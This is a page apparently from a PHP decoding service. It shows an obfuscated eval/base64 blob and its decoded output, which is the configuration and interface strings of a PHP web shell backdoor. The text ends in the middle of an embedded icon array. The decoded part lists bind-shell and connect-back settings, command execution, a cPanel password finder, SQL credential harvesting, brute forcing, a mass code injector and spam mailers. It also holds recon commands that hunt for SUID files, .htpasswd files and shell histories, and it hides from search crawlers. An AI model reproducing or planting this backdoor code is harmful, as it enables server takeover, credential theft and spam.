Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval("?>".base64_decode("PD9waHAgLyogQ29weXJpZ2h0ICY+L2Rldi9udWxsICovDQokY29uZmlnID0gYXJyY..
Decoded Output download
?>b'<?php /* Copyright &>/dev/null */
$config = array(
"version" => "2.0.2011.0827", /* build version. */
"auth" => array(
"use_auth" => 0, /* bool value, TRUE=[ Ask for login ] / FALSE=[ Don\'t ask ] */
"md5_user" => "098f6bcd4621d373cade4e832627b4f6",
"md5_pass" => "098f6bcd4621d373cade4e832627b4f6"),
"default_vars" => array(
"language" => "en", /* default lang, en=English */
"email" => "[email protected]", /* send results from specific tools to this address */
"default_sort" => "0a", /* column 0, a=Ascending d=Descending */
"default_act" => "tools", /* available: ls, search, upload, cmd, eval, sql, mailer, encoders, tools, processes, sysinfo */
"bind_port" => "31337", "bind_pass" => "P@55w0rd",
"backcon_port" => "31337",
"sql_host" => "localhost", "sql_user" => "root", "sql_db" => "mysql", "sql_table" => "users",
"ftp_user" => "anonymous", "ftp_pass" => "[email protected]",
"downloada" => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR",
),
"banned" => array(
"agents" => array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"), /* This agents (matched in regexp) are not allowed */
"send_header" => \'HTTP/1.0 404 Not Found\'), /* Will send this header and exit. */
"use_buffer" => 1, /* bool value, TRUE=[ Allow copy/paste ], FALSE=[..] */
"visual" => array(
"width" => "1024", /* Table width in pixels */
"images" => 1, /* bool value, TRUE=[ Show icons ] / FALSE=[ Don\'t show icons ] */
"skins" => array("dark","light"),
"default_skin" => "light", /* Default color skin */
"light" => array(
"bodybg"=>"#717678",
"tbarbg1"=>"#AAAAAA", "tbarbg2"=>"#BFBFBF", "tbarbordert"=>"#BBBBBB", "tbarborderb"=>"#AAAAAA",
"topbg1"=>"#BBBBBB", "topbg2"=>"#CCCCCC", "topborder1"=>"#CDCDCD", "topcolor"=>"#333333", "topshadow"=>"#DDDDDD",
"tlinkcolor"=>"#333333", "tlinkshadow"=>"#DDDDDD", "tlinkcolorhover"=>"#000000",
"qlbg1"=>"#CCCCCC", "qlbg2"=>"#AAAAAA", "qlborder"=>"#DDDDDD", "qlcolor"=>"#222222", "qlshadow"=>"#DDDDDD", "qlcolorhover"=>"#000000",
"footerbg1"=>"#CCCCCC", "footerbg2"=>"#AAAAAA", "footerborder1"=>"#BBBBBB", "footercolor"=>"#333333", "footershadow"=>"#DDDDDD",
"tablebg"=>"#F2F2F2", "tableshadow"=>"#666666", "tableborder"=>"#777777 ",
"errcolor"=>"#FF0000", "okcolor"=>"#008200", "normalcolor"=>"#333333", "dircolor"=>"#333333",
"fontfam"=>"\'sans-serif\',sans-serif", "fontcolor"=>"#525252",
"idirborder"=>"#2F7595", "idirbg1"=>"#93BED7", "idirbg2"=>"#63A0C7",
"ifileborder"=>"#cccccc", "ifilebg1"=>"#FFFFFF", "ifilebg2"=>"#DDDDDD",
"reg_self"=>"#7B7869", "reg_interesting"=>"#008200", "reg_bad"=>"#FF0000",
),
"dark" => array(
"bodybg"=>"#717678",
"tbarbg1"=>"#141414", "tbarbg2"=>"#111111", "tbarbordert"=>"#111111", "tbarborderb"=>"#000000",
"topbg1"=>"#111111", "topbg2"=>"#222222", "topborder1"=>"#222222", "topcolor"=>"#CCCCCC", "topshadow"=>"#000000",
"tlinkcolor"=>"#DDDDDD", "tlinkshadow"=>"#000000", "tlinkcolorhover"=>"#FFFFFF",
"qlbg1"=>"#222222", "qlbg2"=>"#111111", "qlborder"=>"#333333", "qlcolor"=>"#F3F3F3", "qlshadow"=>"#0A0A0A", "qlcolorhover"=>"#FFFFFF",
"footerbg1"=>"#141414", "footerbg2"=>"#111111", "footerborder1"=>"#333333", "footercolor"=>"#CCCCCC", "footershadow"=>"#000000",
"tablebg"=>"#F2F2F2", "tableshadow"=>"#444444", "tableborder"=>"#666666",
"errcolor"=>"#FF0000", "okcolor"=>"#008200", "normalcolor"=>"#333333", "dircolor"=>"#333333",
"fontfam"=>"\'sans-serif\',sans-serif", "fontcolor"=>"#525252",
"idirborder"=>"#2F7595", "idirbg1"=>"#93BED7", "idirbg2"=>"#63A0C7",
"ifileborder"=>"#cccccc", "ifilebg1"=>"#FFFFFF", "ifilebg2"=>"#DDDDDD",
"reg_self"=>"#7B7869", "reg_interesting"=>"#008200", "reg_bad"=>"#FF0000",
),
),
"reg_interesting"=>array(
"d"=>array(\'backup\',\'admin\'),/* highlight interesting dirs */
"f"=>array(\'conf(.*)\.php$\',\'\.sql$\',\'\.db$\',\'auth(.*)\.php$\')/* highlight interesting files */
),
"reg_bad"=>array(
"d"=>array(\'root\'),/* highlight bad dirs */
"f"=>array(\'iptables\',\'ipchains\')/* highlight bad files */
),
);
$lang["en"]=array(
"0"=>"AUTHENTICATION REQUIRED",
"1"=>"USER",
"2"=>"PASS",
"3"=>"Connect",
"4"=>"SERVER WHOIS",
"5"=>"TRACEROUTE",
"6"=>"SELF REMOVE",
"7"=>"LOGOUT",
"8"=>"SYS",
"9"=>"KERNEL",
"10"=>"DISK TOTAL/FREE",
"11"=>"WEB SOFTWARE",
"12"=>"SAFE MODE",
"13"=>"OPEN BASEDIR",
"14"=>"CURL",
"15"=>"MYSQL",
"16"=>"MSSQL",
"17"=>"ORACLE",
"18"=>"POSTGRESQL",
"19"=>"ON",
"20"=>"OFF",
"21"=>"YES",
"22"=>"NO",
"23"=>"BACK",
"24"=>"FILES",
"25"=>"SEARCH",
"26"=>"UPLOAD",
"27"=>"CMD",
"28"=>"EVAL",
"29"=>"SQL",
"30"=>"MAILERS",
"31"=>"CALC",
"32"=>"TOOLS",
"33"=>"PROC",
"34"=>"SYSINFO",
"35"=>"FILE",
"36"=>"DIR",
"37"=>"Show All",
"38"=>"Dirs",
"39"=>"Files",
"40"=>"Archives",
"41"=>"Exes",
"42"=>"PHP",
"43"=>"Html",
"44"=>"Text",
"45"=>"Images",
"46"=>"Other",
"47"=>"Show Icons",
"48"=>"Hide Icons",
"49"=>"Enable Buffer",
"50"=>"Disable Buffer",
"51"=>"Empty Buffer",
"52"=>"Show Buffer",
"53"=>"Hide Buffer",
"54"=>"Paste Copy",
"55"=>"Paste Cut",
"56"=>"Paste All",
"57"=>"Name",
"58"=>"Size",
"59"=>"Modified",
"60"=>"Owner/Group",
"61"=>"Perms",
"62"=>"Action",
"63"=>"Select All",
"64"=>"None",
"65"=>"Inverse",
"66"=>"With Selected",
"67"=>"Copy",
"68"=>"Cut",
"69"=>"Unset Copy",
"70"=>"Unset Cut",
"71"=>"Unset All",
"72"=>"Delete",
"73"=>"Rename",
"74"=>"Functions",
"75"=>"Edit",
"76"=>"Download",
"77"=>"Confirm",
"78"=>"VIEWING FILE:",
"79"=>"Text",
"80"=>"Code",
"81"=>"Html",
"82"=>"Html-NoJS",
"83"=>"Execute",
"84"=>"Session",
"85"=>"Sdb",
"86"=>"INI",
"87"=>"Image",
"88"=>"Hexdump",
"89"=>"Browser Default",
"90"=>"STRING CONVERSIONS",
"91"=>"FUNCTION",
"92"=>"Submit",
"93"=>"CHANGE FILE\'S PERMISSIONS:",
"94"=>"Owner",
"95"=>"Group",
"96"=>"World",
"97"=>"Read",
"98"=>"Write",
"99"=>"Execute",
"100"=>"Chmod",
"101"=>"OR ENTER VALUE",
"102"=>"OUTPUT",
"103"=>"CHANGE FILE\'S TIMESTAMP",
"104"=>"COPY FROM FILE/DIR",
"105"=>"SET TIME MANUALLY",
"106"=>"Month",
"107"=>"Day",
"108"=>"Year",
"109"=>"Hour",
"110"=>"Min",
"111"=>"Sec",
"112"=>"Change",
"113"=>"Timestamp changed to [%1%]",
"114"=>"Failed to change timestamp",
"115"=>"REPLACE",
"116"=>"WITH",
"117"=>"Replace",
"118"=>"Reset",
"119"=>"Save",
"120"=>"PROGRAM LINE",
"121"=>"Full Hexdump",
"122"=>"Hexdump Preview",
"123"=>"CHANGE DIR\'S PERMISSIONS:",
"124"=>"CHANGE DIR\'S TIMESTAMP:",
"125"=>"BYPASS RESTRICTIONS - LIST DIR",
"126"=>"DIR TO LIST",
"127"=>"List Dir",
"128"=>"BYPASS RESTRICTIONS - READ FILE",
"129"=>"FILE TO READ",
"130"=>"Read File",
"131"=>"BYPASS RESTRICTIONS - READ FILE VIA SQL",
"132"=>"USERNAME",
"133"=>"PASSWORD",
"134"=>"PORT",
"135"=>"DATABASE",
"136"=>"[-] ERROR! Can\'t select database",
"137"=>"[-] ERROR! Can\'t connect to [%1%] server",
"138"=>"BYPASS RESTRICTIONS - WRITE FILE",
"139"=>"FILE TO WRITE",
"140"=>"FILE CONTENT",
"141"=>"Write File",
"142"=>"SEARCH FOR FILES AND DIRS USING PHP",
"143"=>"NAME/FIND/RECURSIVE",
"144"=>"Files",
"145"=>"Dirs",
"146"=>"Both",
"147"=>"Search",
"148"=>"use regexp on name",
"149"=>"SEARCH IN DIR",
"150"=>"FIND TEXT IN FILE",
"151"=>"use regexp on text",
"152"=>"whole words only",
"153"=>"case sensitive",
"154"=>"files not containing the text",
"155"=>"SEARCH TEXT IN FILES USING FIND",
"156"=>"TEXT TO FIND",
"157"=>"FIND IN FILES",
"158"=>"DEFINED/SEARCH IN",
"159"=>"show in file manager",
"160"=>"NOTHING FOUND",
"161"=>"UPLOAD LOCAL FILE",
"162"=>"LOCAL FILE",
"163"=>"OPTIONAL RENAME",
"164"=>"UPLOAD PATH",
"165"=>"FILE LOCATION",
"166"=>"MULTIPLE FILES",
"167"=>"UPLOAD FILE FROM REMOTE URL",
"168"=>"UPLOAD MULTIPLE FILES",
"169"=>"Form",
"170"=>"Upload",
"171"=>"Invalid file location: [%1%]",
"172"=>"Error uploading [%1%] (Can\'t move [%2%] to [%3%]",
"173"=>"File [%1%] uploaded to [%2%]",
"174"=>"Can\'t download file!",
"175"=>"Can\'t write to [%1%]",
"176"=>"File uploaded to [%1%]",
"177"=>"SEND FILE TO E-MAIL",
"178"=>"SEND TO",
"179"=>"Send",
"180"=>"COMMAND",
"181"=>"DEFINED",
"182"=>"EXECUTE PHP CODE",
"183"=>"Execute PHP Code",
"184"=>"Display Result in Textarea",
"185"=>"FTP MANAGER",
"186"=>"HOST:PORT",
"187"=>"USER",
"188"=>"PASS",
"189"=>"Connect",
"190"=>"Passive",
"191"=>"Can\'t connect",
"192"=>"PHP-SHELL",
"193"=>"FTP",
"194"=>"NEW DIR",
"195"=>"Create",
"196"=>"Disconnect",
"197"=>"Upload",
"198"=>"Download",
"199"=>"Delete",
"200"=>"DOWNLOAD FILE FROM REMOTE FTP",
"201"=>"UPLOAD FILE TO REMOTE FTP",
"202"=>"HOST:PORT",
"203"=>"USER:PASS",
"204"=>"FILE ON FTP",
"205"=>"LOCAL FILE",
"206"=>"Upload File",
"207"=>"Download File",
"208"=>"File uploaded.",
"209"=>"Can\'t upload file.",
"210"=>"File downloaded.",
"211"=>"Can\'t download file.",
"212"=>"PHP SIMPLE MAILER",
"213"=>"PHP CSV MAILER",
"214"=>"FROM NAME",
"215"=>"FROM E-MAIL",
"216"=>"E-MAIL SUBJECT",
"217"=>"REPLACE",
"218"=>"WITH",
"219"=>"IN",
"220"=>"E-MAIL COL",
"221"=>"COL PREFIX",
"222"=>"REPLACE IN",
"223"=>"Select Value",
"224"=>"From Name",
"225"=>"From E-mail",
"226"=>"Receiver\'s E-mail",
"227"=>"Receiver\'s E-mail - hash",
"228"=>"Subject",
"229"=>"Message",
"230"=>"Subject and Message",
"231"=>"Random \"FROM E-MAIL\" usernames",
"232"=>"Random Message-ID domains",
"233"=>"Send E-mails",
"234"=>"Preview (Don\'t send)",
"235"=>"Show replaced values",
"236"=>"INCOMPLETE DATA",
"237"=>"NO",
"238"=>"RECEIVER",
"239"=>"SENDER",
"240"=>"MESSAGE-ID",
"241"=>"STATUS",
"242"=>"REPLACING",
"243"=>"Success",
"244"=>"Failed",
"245"=>"Test",
"246"=>"HASH TYPE",
"247"=>"ENTER HASH",
"248"=>"Submit",
"249"=>"Calculate",
"250"=>"Clear Input",
"251"=>"POSSIBLE",
"252"=>"Link",
"253"=>"IP ADDRESS ENCODER",
"254"=>"ENTER IP",
"255"=>"LONG IP",
"256"=>"HEX IP",
"257"=>"OCTAL IP",
"258"=>"SELECT HASH",
"259"=>"ENTER INPUT",
"260"=>"All",
"261"=>"HASH OUTPUT",
"262"=>"STRING CONVERSIONS OUTPUT",
"263"=>"Clear Output",
"264"=>"Send Output to Input",
"265"=>"BIND SHELL",
"266"=>"CONNECT BACK",
"267"=>"PASS:PORT:SRC",
"268"=>"Bind",
"269"=>"Found [%1%] of our backdoor tools in tempdir. Consider deleting tools after using them. ",
"270"=>"Delete Now",
"271"=>"Can\'t write sources!",
"272"=>"Unknown file!",
"273"=>"Executed. Can\'t connect to [%1%]!",
"274"=>"OK! Connect to [%1%]:[%2%]!",
"275"=>"Port [%1%] already in use!",
"276"=>"OK! The script is now connecting to [%1%]:[%2%]",
"277"=>"PORTSCAN",
"278"=>"HOST:PORT RANGE",
"279"=>"Scan",
"280"=>"VALID RANGE 0-65535",
"281"=>"PHP-SHELL HUNTER",
"282"=>"ACTION:RECURSIVE",
"283"=>"START PATH",
"284"=>"View known shells only",
"285"=>"View known shells + possible",
"286"=>"Overwrite known shells with RC-Shell",
"287"=>"Overwrite all with RC-Shell",
"288"=>"PHP-SHELL RESULTS",
"289"=>"PORTSCAN RESULT",
"290"=>"Owned",
"291"=>"Can\'t own it",
"292"=>"FILE NAME",
"293"=>"SHELL TYPE OR VERSION",
"294"=>"EXTERNAL LINK",
"295"=>"FILE ACTIONS / OVERWRITE",
"296"=>"View in Browser",
"297"=>"RC-OVERWRITE",
"298"=>"CPANEL / PASSWORD FINDER",
"299"=>"HOST:USER:SERVICE",
"300"=>"FILES:METHOD:RECURSIVE",
"301"=>"DEFINED PATH",
"302"=>"SEND LOG TO",
"303"=>"Don\'t login (create passfile)",
"304"=>"user + DEFINED PATH",
"305"=>"user + DOCUMENT ROOT",
"306"=>"/etc/passwd + USER HOMES",
"307"=>"Find Passwords",
"308"=>"CPANEL / PASSWORD FINDER RESULTS",
"309"=>"MASS CODE INJECTOR",
"310"=>"FILES:POS:RECURSIVE",
"311"=>"START IN PATH",
"312"=>"CODE TO INJECT",
"313"=>"Inject Files",
"314"=>"CODE INJECTED IN FILES BELOW",
"315"=>"FIND SQL CREDENTIALS",
"316"=>"USER NAME:TYPE",
"317"=>"PASS NAME:TYPE",
"318"=>"DB NAME:TYPE",
"319"=>"HOST NAME:TYPE",
"320"=>"*SOFTWARE:PASSWORD",
"321"=>"FILES:WHERE:RECURSIVE",
"322"=>"DEFINED PATH",
"323"=>"Find Credentials",
"324"=>"MySQL Test",
"325"=>"DEFINED PATH",
"326"=>"DOCUMENT ROOT",
"327"=>"USER HOMES",
"328"=>"required",
"329"=>"optional",
"330"=>"SQL CREDENTIALS",
"331"=>"HOST",
"332"=>"USER",
"333"=>"PASS",
"334"=>"DATABASE",
"335"=>"ACTION",
"336"=>"MySQL Connect",
"337"=>"BRUTEFORCE / DICTIONARY ATTACK",
"338"=>"HOST:PORT:SERVICE",
"339"=>"USERNAME:DATABASE",
"340"=>"DICTIONARY",
"341"=>"TEST METHOD",
"342"=>"ALSO TEST",
"343"=>"username and dictionary",
"344"=>"/etc/passwd (user:user)",
"345"=>"/etc/passwd and dictionary",
"346"=>"Start Bruteforce",
"347"=>"[%1%] BRUTEFORCE RESULT",
"348"=>"SYSTEM PROCESSES",
"349"=>"SENDING SIGNAL [%1%] TO #[%2%].. ",
"350"=>"KILLED",
"351"=>"CAN\'T KILL IT",
"352"=>"Databases",
"353"=>"Query",
"354"=>"Extract E-mails",
"355"=>"Server Status",
"356"=>"Server Variables",
"357"=>"Processes",
"358"=>"Disconnect",
"359"=>"DATABASES",
"360"=>"Database Name",
"361"=>"Size",
"362"=>"Tables",
"363"=>"Database Actions",
"364"=>"DATABASE",
"365"=>"TABLE",
"366"=>"DATABASE [%1%]",
"367"=>"Databases ([%1%])",
"368"=>"Table Name",
"369"=>"Table Actions",
"370"=>"SQL QUERY",
"371"=>"Submit Query",
"372"=>"EXTRACT E-MAILS",
"373"=>"SEARCH TABLES<br>COMMA (,) SEPARATED<br>LEAVE EMPTY FOR ALL",
"374"=>"FILE NAME",
"375"=>"SAVE E-MAILS TO FILE",
"376"=>"DOWNLOAD RESULTS",
"377"=>"Extract E-mails",
"378"=>"SERVER STATUS",
"379"=>"SERVER VARIABLES",
"380"=>"Name",
"381"=>"Value",
"382"=>"PROCESSES",
"383"=>"ID",
"384"=>"USER",
"385"=>"HOST",
"386"=>"DATABASE",
"387"=>"COMMAND",
"388"=>"TIME",
"389"=>"STATE",
"390"=>"INFO",
"391"=>"ACTION",
"392"=>"KILL",
"393"=>"PROCESS #[%1%] KILLED",
"394"=>"QUERY RESULT",
"395"=>"BROWSING TABLE [%1%] ( [%2%] cols and [%3%] rows )",
"396"=>"Previous",
"397"=>"Page",
"398"=>"Go",
"399"=>"Next",
"400"=>"INSERT INTO TABLE [%1%]",
"401"=>"Field",
"402"=>"Type",
"403"=>"Function",
"404"=>"Value",
"405"=>"Insert as new row",
"406"=>"or",
"407"=>"Save",
"408"=>"Confirm",
"409"=>"TOTAL DATABASES [%1%]",
"410"=>"QUICK SQL TABLE DUMP",
"411"=>"SQL TYPE",
"412"=>"HOST:PORT",
"413"=>"USER:PASS",
"414"=>"DB.TABLE",
"415"=>"FILE NAME",
"416"=>"DOWNLOAD RESULTS",
"417"=>"SAVE DUMP TO FILE",
"418"=>"Dump",
"419"=>"Can\'t connect to SQL server",
"420"=>"QUICK SQL QUERY",
"421"=>"DB",
"422"=>"Query",
"423"=>"QUERY #[%1%] : [%2%]",
"424"=>"NONE",
"425"=>"Chdir",
"426"=>"Total: [%1%]",
"427"=>"Success: [%1%]",
"428"=>"Failed: [%1%]",
"429"=>"Used: [%1%]",
"430"=>"Not Available",
"431"=>"The following e-mails were not sent",
"432"=>"HASH CALCULATOR",
"433"=>"STRING CONVERSIONS",
"434"=>"HOST:PORT:SRC",
"435"=>"Connect",
"436"=>"Find Shells",
"437"=>"DO YOU REALLY WANT TO DROP DATABASE \"[%1%]\" ? ",
"438"=>"DO YOU REALLY WANT TO DROP TABLE \"[%1%]\" ? ",
"439"=>"DO YOU REALLY WANT TO EMPTY TABLE \"[%1%]\" ? ",
"440"=>"SQL DUMP",
"441"=>"DATABASE",
"442"=>"DUMP TABLES<br>COMMA (,) SEPARATED<br>LEAVE EMPTY FOR ALL",
"443"=>"FILE NAME",
"444"=>"SAVE DUMP TO FILE",
"445"=>"DOWNLOAD RESULTS",
"446"=>"Dump",
"447"=>"Can\'t select database",
"448"=>"Nothing to dump",
"449"=>"Dumped to [%1%]",
"450"=>"Can\'t write to file.",
"451"=>"SQL MANAGER",
"452"=>"HOST:PORT",
"453"=>"USER",
"454"=>"PASS",
"455"=>"DB",
"456"=>"TYPE",
"457"=>"Connect",
"458"=>"Can\'t create dump",
"459"=>"Dumped",
"460"=>"SELF REMOVE",
"461"=>"DO YOU REALLY WANT TO DELETE ME? ",
"462"=>"GOOD BYE",
"463"=>"Can\'t delete [%1%]",
"464"=>"CAN\'T LIST [%1%]",
"465"=>"Free: [%1%]",
"466"=>"FILE [%1%] DOESNT EXIST.",
"467"=>"YOU ARE TRYING TO OPEN A DIRECTORY AS A FILE ([%1%])",
"468"=>"TARGET ALREADY EXISTS (DIRECTORY [%1%])",
"469"=>"FILE NOT SPECIFIED",
"470"=>"Return",
"471"=>"Your browser doesnt support iframes.",
"472"=>" (CWD SPECIFIED AS A FILE)",
"473"=>"RENAME [%1%]",
"474"=>"RENAMED TO [%1%]",
"475"=>"CANNOT RENAME [%1%]",
"476"=>"EXTRACTED ZIP ARCHIVE [%1%]",
"477"=>"CANNOT EXTRACT [%1%]",
"478"=>"Extract [%1%]",
"479"=>"GENERAL INFORMATION",
"480"=>"PHP INFORMATION",
"481"=>"OTHER USEFULL STUFF",
"482"=>"Interesting files",
"483"=>"Interesting configs",
"484"=>"Interesting bins",
"485"=>"Scripting languages",
"486"=>"PAGE GENERATED IN [%1%] SECONDS",
"undefined"=>"?",
);
$winaliases=array(
\'\'=>\'dir\',
\'- show open ports\'=>\'netstat -nat\',
\'- running programs\'=>\'tasklist -v\',
\'- running services\'=>\'net start\',
\'- show users\'=>\'net user\',
\'- show computers\'=>\'net view\',
\'- arp table\'=>\'arp -a\',
\'- ip config\'=>\'ipconfig /all\',
\'- mac address\'=>\'getmac\',
\'- systeminfo\'=>\'systeminfo\',
\'- file associations\'=>\'assoc\'
);
$nixaliases=array(
\'\'=>\'ls -la\',
\'console downloaders\'=>\'which wget GET ftp curl w3m lynx\',
\'cpu info\'=>\'cat /proc/version /proc/cpuinfo\',
\'gcc compiler\'=>\'locate gcc\',
\'logged in users\'=>\'w\',
\'active users (from lastlog)\'=>\'lastlog|grep -v \'\*\*\'\',
\'last logins (last -a)\'=>\'last -a\',
\'users without password\'=>\'cut -d: -f1,2,3 /etc/passwd | grep ::\',
\'list file attributes\'=>\'lsattr -va\',
\'show open ports (from netstat)\'=>\'netstat -nat | grep -i listen\',
\'active connections (from lsof)\'=>\'lsof -i\',
);
$findaliases=array(
\'find suid files\'=>\'find %path% -type f -perm -04000 -ls 2>/dev/null\',
\'find sgid files\'=>\'find %path% -type f -perm -02000 -ls 2>/dev/null\',
\'find writable dirs\'=>\'find %path% -perm -2 -type d -ls 2>/dev/null\',
\'find writable files\'=>\'find %path% -perm -2 -type f -ls 2>/dev/null\',
\'find writable links\'=>\'find %path% -perm -2 -type l -ls 2>/dev/null\',
\'find writable dirs/files/links\'=>\'find %path% -perm -2 -ls 2>/dev/null\',
\'find config* files\'=>\'find %path% -type f -name \'config*\'\',
\'find config.php files\'=>\'find %path% -type f -name config.php\',
\'find config.inc.php files\'=>\'find %path% -type f -name config.inc.php\',
\'find service.pwd files\'=>\'find %path% -type f -name service.pwd\',
\'find .htpasswd files\'=>\'find %path% -type f -name .htpasswd\',
\'find .bash history\'=>\'find %path% -type f -name .bash_history\',
\'find .mysql history\'=>\'find %path% -type f -name .mysql_history\',
\'find fetchmailrc\'=>\'find %path% -type f -name .fetchmailrc\'
);
$filealiases=array(
\'html\'=>array(\'html\',\'htm\',\'shtml\'),
\'text\'=>array(\'html\',\'htm\',\'shtml\',\'css\',\'js\',\'txt\',\'conf\',\'bat\',\'bak\',\'doc\',\'log\',\'sfc\',\'cfg\',\'readme\',\'todo\',\'changelog\',\'makefile\',\'cmake\',\'copying\',\'authors\',\'motd\',\'news\',\'install\',\'about\',\'htaccess\'),
\'exe\'=>array(\'sh\',\'bat\',\'cmd\',\'exe\',\'pl\',\'py\'),
\'ini\'=>array(\'ini\',\'inf\'),
\'code\'=>array(\'php\',\'phtml\',\'php3\',\'php4\',\'php5\',\'pl\',\'cgi\',\'c\', \'cc\', \'cpp\', \'h\', \'hpp\', \'icl\', \'ipp\'),
\'img\'=>array(\'gif\',\'png\',\'jpeg\',\'jfif\',\'jpg\',\'jpe\',\'bmp\',\'ico\',\'tif\',\'tiff\'),
\'sdb\'=>array(\'sdb\'),
\'sess\'=>array(\'sess\'),
\'download\'=>array(\'sql\',\'3g2\',\'3ga\',\'3gp\',\'3gpp\',\'669\',\'7z\',\'aac\',\'ac3\',\'ace\',\'aif\',\'aifc\',\'aiff\',\'amr\',\'ape\',\'arj\',\'asf\',\'asx\',\'au\',\'avi\',\'awb\',\'axa\',\'axv\',\'bdm\',\'bdmv\',\'bz\',\'bz2\',\'cab\',\'clpi\',\'com\',\'cpi\',\'doc\',\'dot\',\'divx\',\'dmg\',\'dv\',\'exe\',\'fla\',\'flac\',\'flc\',\'fli\',\'flv\',\'gsm\',\'gz\',\'iso\',\'it\',\'kar\',\'lha\',\'lnk\',\'lzh\',\'m15\',\'m2t\',\'m2ts\',\'m3u\',\'m3u8\',\'m4a\',\'m4b\',\'m4v\',\'med\',\'mid\',\'midi\',\'minipsf\',\'mka\',\'mkv\',\'mng\',\'mo3\',\'mod\',\'moov\',\'mov\',\'movie\',\'mp+\',\'mp2\',\'mp3\',\'mp4\',\'mpc\',\'mpe\',\'mpeg\',\'mpg\',\'mpga\',\'mpl\',\'mpls\',\'mpp\',\'mtm\',\'mts\',\'nrg\',\'nsv\',\'oga\',\'ogg\',\'ogm\',\'ogv\',\'pbk\',\'pif\',\'pla\',\'pls\',\'psf\',\'psflib\',\'psid\',\'qt\',\'qtvr\',\'r00\',\'ra\',\'rar\',\'rax\',\'rv\',\'rvx\',\'s3m\',\'sid\',\'snd\',\'spx\',\'src\',\'stm\',\'swf\',\'tar\',\'tbz\',\'tbz2\',\'tgz\',\'ts\',\'tta\',\'ult\',\'uni\',\'uu\',\'uuf\',\'viv\',\'vivo\',\'vlc\',\'vob\',\'voc\',\'wav\',\'wax\',\'wma\',\'wmv\',\'wmx\',\'wri\',\'wv\',\'xla\',\'xlc\',\'xld\',\'xlsb\',\'xll\',\'xlm\',\'xls\',\'xlt\',\'xlsm\',\'xlw\',\'xltm\',\'wvc\',\'wvp\',\'wvx\',\'xi\',\'xm\',\'xmf\',\'xxe\',\'zip\')
);
$execaliases=array(
\'sh %f%\'=>array(\'sh\'),
\'perl %f%\'=>array(\'pl\',\'cgi\'),
\'python %f%\'=>array(\'py\'),
\'php %f%\'=>array(\'php\',\'php3\',\'php4\',\'php5\')
);
$getaliases=array(
\'wget\'=>\'[%1%] [%2%] -O [%3%]\',
\'fetch\'=>\'[%1%] -p [%2%] -o [%3%]\',
\'lynx\'=>\'[%1%] -source [%2%] > [%3%]\',
\'links\'=>\'[%1%] -source [%2%] > [%3%]\',
\'GET\'=>\'[%1%] [%2%] > [%3%]\',
\'curl\'=>\'[%1%] [%2%] -o [%3%]\'
);
$index=array(
"xls"=>array(\'xla\',\'xlc\',\'xld\',\'xlsb\',\'xll\',\'xlm\',\'xls\',\'xlt\',\'xlsm\',\'xlw\',\'xltm\'),
"pl"=>array("pl","cgi"),
"diz"=>array("diz","inf"),
"h"=>array("h","hpp"),
"iso"=>array("iso","nrg","dmg"),
"tar"=>array("tar","r00","ace","arj","bz","bz2","tbz","tbz2","tgz","uu","xxe","zip","cab","gz","lha","lzh","pbk","rar","uuf","7z"),
"php"=>array("php","php3","php4","php5","phtml","shtml"),
"jpg"=>array("jpg","gif","png","jpeg","jfif","jpe","bmp","ico","tif","tiff"),
"html"=>array("html","htm","asp","xhtml"),
"avi"=>array(\'ogm\',\'mpeg\',\'bdmv\',\'qtvr\',\'ogv\',\'cpi\',\'m2ts\',\'movie\',\'asf\',\'mpls\',\'mkv\',\'avi\',\'rvx\',\'qt\',\'mp2\',\'mp4\',\'divx\',\'mng\',\'axv\',\'rv\',\'mov\',\'moov\',\'mpe\',\'mpl\',\'mpg\',\'ts\',\'nsv\',\'3g2\',\'3ga\',\'mts\',\'m2t\',\'3gp\',\'3gpp\',\'vivo\',\'m4v\',\'flc\',\'bdm\',\'fli\',\'viv\',\'flv\',\'wmv\',\'clpi\',\'vob\',\'dv\',\'ogg\'),
"doc"=>array("doc","dot","wri"),
"txt"=>array("txt","log","conf","cfg","vbs","ini"),
"js"=>array("js"),
"cmd"=>array("cmd","bat","pif","exe","sh","makefile"),
"wri"=>array("wri","rtf"),
"swf"=>array("swf","fla"),
"mp3"=>array(\'amr\',\'m3u8\',\'med\',\'spx\',\'spx\',\'kar\',\'mpga\',\'pla\',\'it\',\'ape\',\'tta\',\'pls\',\'stm\',\'mid\',\'s3m\',\'asx\',\'mka\',\'awb\',\'psf\',\'aifc\',\'mo3\',\'aiff\',\'mp+\',\'axa\',\'mp2\',\'mp3\',\'ra\',\'mod\',\'wav\',\'wax\',\'mpc\',\'midi\',\'mpp\',\'m15\',\'psid\',\'wv\',\'mtm\',\'xi\',\'xm\',\'m3u\',\'m4b\',\'m4a\',\'aac\',\'ac3\',\'xmf\',\'rax\',\'minipsf\',\'wma\',\'wmx\',\'vlc\',\'ult\',\'669\',\'sid\',\'voc\',\'gsm\',\'au\',\'uni\',\'flac\',\'aif\',\'snd\',\'psflib\',\'wvc\',\'oga\',\'wvp\',\'ogg\',\'wvx\'),
"cpp"=>array("cpp","c","cc","cxx"),
"css"=>array(\'css\'),
"htaccess"=>array("htaccess","htpasswd","ht","hta"),
);
$images=array(
"ok"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAADoSURBVDiNrZOxboNADIY/08CAunTIQBakSLRbH6Qv0XfrQ/QBmLM1iqIMERnaDqxcJsBdOHQhXJOI/JJ1Z8v32z7boqpMQTDpNTDz2OfA08BmgO8zT1Udkwz4BUoreZ6/qqoMfX0ZAByA0CpJktSXSlgAj45+dAk6ZN1ZAT8A4nThWUQ+Hec94LZoCUhX9huwG2YA8DWWZof1pRJs2jfhrgSVqq6sEobhS13XD1Y3xmziOO597UU8o5yJyDvQExRF8ZGm6ZbTj/XPQRAEx7Zte4IoikYj+QiqpmlKTnfFDKP/V8LVmLyNf9lXY6ltlYsrAAAAAElFTkSuQmCC",
